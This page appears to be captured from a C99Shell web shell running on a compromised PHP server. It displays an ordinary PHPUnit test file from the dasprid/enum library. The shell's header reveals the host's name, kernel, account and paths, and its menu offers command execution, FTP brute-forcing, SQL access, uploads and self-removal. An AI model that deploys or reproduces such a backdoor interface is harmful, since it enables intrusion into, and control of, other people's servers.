!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/dasprid/enum/test/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractEnumTest.php (3.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
DASPRiD\EnumTest;

use 
DASPRiD\Enum\AbstractEnum;
use 
DASPRiD\Enum\Exception\CloneNotSupportedException;
use 
DASPRiD\Enum\Exception\IllegalArgumentException;
use 
DASPRiD\Enum\Exception\MismatchException;
use 
DASPRiD\Enum\Exception\SerializeNotSupportedException;
use 
DASPRiD\Enum\Exception\UnserializeNotSupportedException;
use 
PHPUnit\Framework\TestCase;
use 
ReflectionClass;

final class 
AbstractEnumTest extends TestCase
{
    public function 
setUp(): void
    
{
        
$reflectionClass = new ReflectionClass(AbstractEnum::class);

        
$constantsProperty $reflectionClass->getProperty('constants');
        
$constantsProperty->setAccessible(true);
        
$constantsProperty->setValue([]);

        
$valuesProperty $reflectionClass->getProperty('values');
        
$valuesProperty->setAccessible(true);
        
$valuesProperty->setValue([]);

        
$allValuesLoadedProperty $reflectionClass->getProperty('allValuesLoaded');
        
$allValuesLoadedProperty->setAccessible(true);
        
$allValuesLoadedProperty->setValue([]);
    }

    public function 
testToString() : void
    
{
        
$weekday WeekDay::FRIDAY();
        
self::assertSame('FRIDAY', (string) $weekday);
    }

    public function 
testName() : void
    
{
        
$this->assertSame('WEDNESDAY'WeekDay::WEDNESDAY()->name());
    }

    public function 
testOrdinal() : void
    
{
        
$this->assertSame(2WeekDay::WEDNESDAY()->ordinal());
    }

    public function 
testSameInstanceIsReturned() : void
    
{
        
self::assertSame(WeekDay::FRIDAY(), WeekDay::FRIDAY());
    }

    public static function 
testValueOf() : void
    
{
        
self::assertSame(WeekDay::FRIDAY(), WeekDay::valueOf('FRIDAY'));
    }

    public function 
testValueOfInvalidConstant() : void
    
{
        
$this->expectException(IllegalArgumentException::class);
        
WeekDay::valueOf('CATURDAY');
    }

    public function 
testExceptionOnCloneAttempt() : void
    
{
        
$this->expectException(CloneNotSupportedException::class);
        clone 
WeekDay::FRIDAY();
    }

    public function 
testExceptionOnSerializeAttempt() : void
    
{
        
$this->expectException(SerializeNotSupportedException::class);
        
serialize(WeekDay::FRIDAY());
    }

    public function 
testExceptionOnUnserializeAttempt() : void
    
{
        
$this->expectException(UnserializeNotSupportedException::class);
        
unserialize('O:24:"DASPRiD\\EnumTest\\WeekDay":0:{}');
    }

    public function 
testReturnValueOfValuesIsSortedByOrdinal() : void
    
{
        
// Initialize some week days out of order
        
WeekDay::SATURDAY();
        
WeekDay::TUESDAY();

        
$ordinals array_values(array_map(function (WeekDay $weekDay) : int {
            return 
$weekDay->ordinal();
        }, 
WeekDay::values()));

        
self::assertSame([0123456], $ordinals);

        
$cachedOrdinals array_values(array_map(function (WeekDay $weekDay) : int {
            return 
$weekDay->ordinal();
        }, 
WeekDay::values()));
        
$this->assertSame($ordinals$cachedOrdinals);
    }

    public function 
testCompareTo() : void
    
{
        
$this->assertSame(-4WeekDay::WEDNESDAY()->compareTo(WeekDay::SUNDAY()));
        
$this->assertSame(4WeekDay::SUNDAY()->compareTo(WeekDay::WEDNESDAY()));
        
$this->assertSame(0WeekDay::WEDNESDAY()->compareTo(WeekDay::WEDNESDAY()));
    }

    public function 
testCompareToWrongEnum() : void
    
{
        
$this->expectException(MismatchException::class);
        
WeekDay::MONDAY()->compareTo(Planet::EARTH());
    }

    public function 
testParameterizedEnum() : void
    
{
        
$planet Planet::EARTH();
        
$this->assertSame(5.976e+24$planet->mass());
        
$this->assertSame(6.37814e6$planet->radius());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--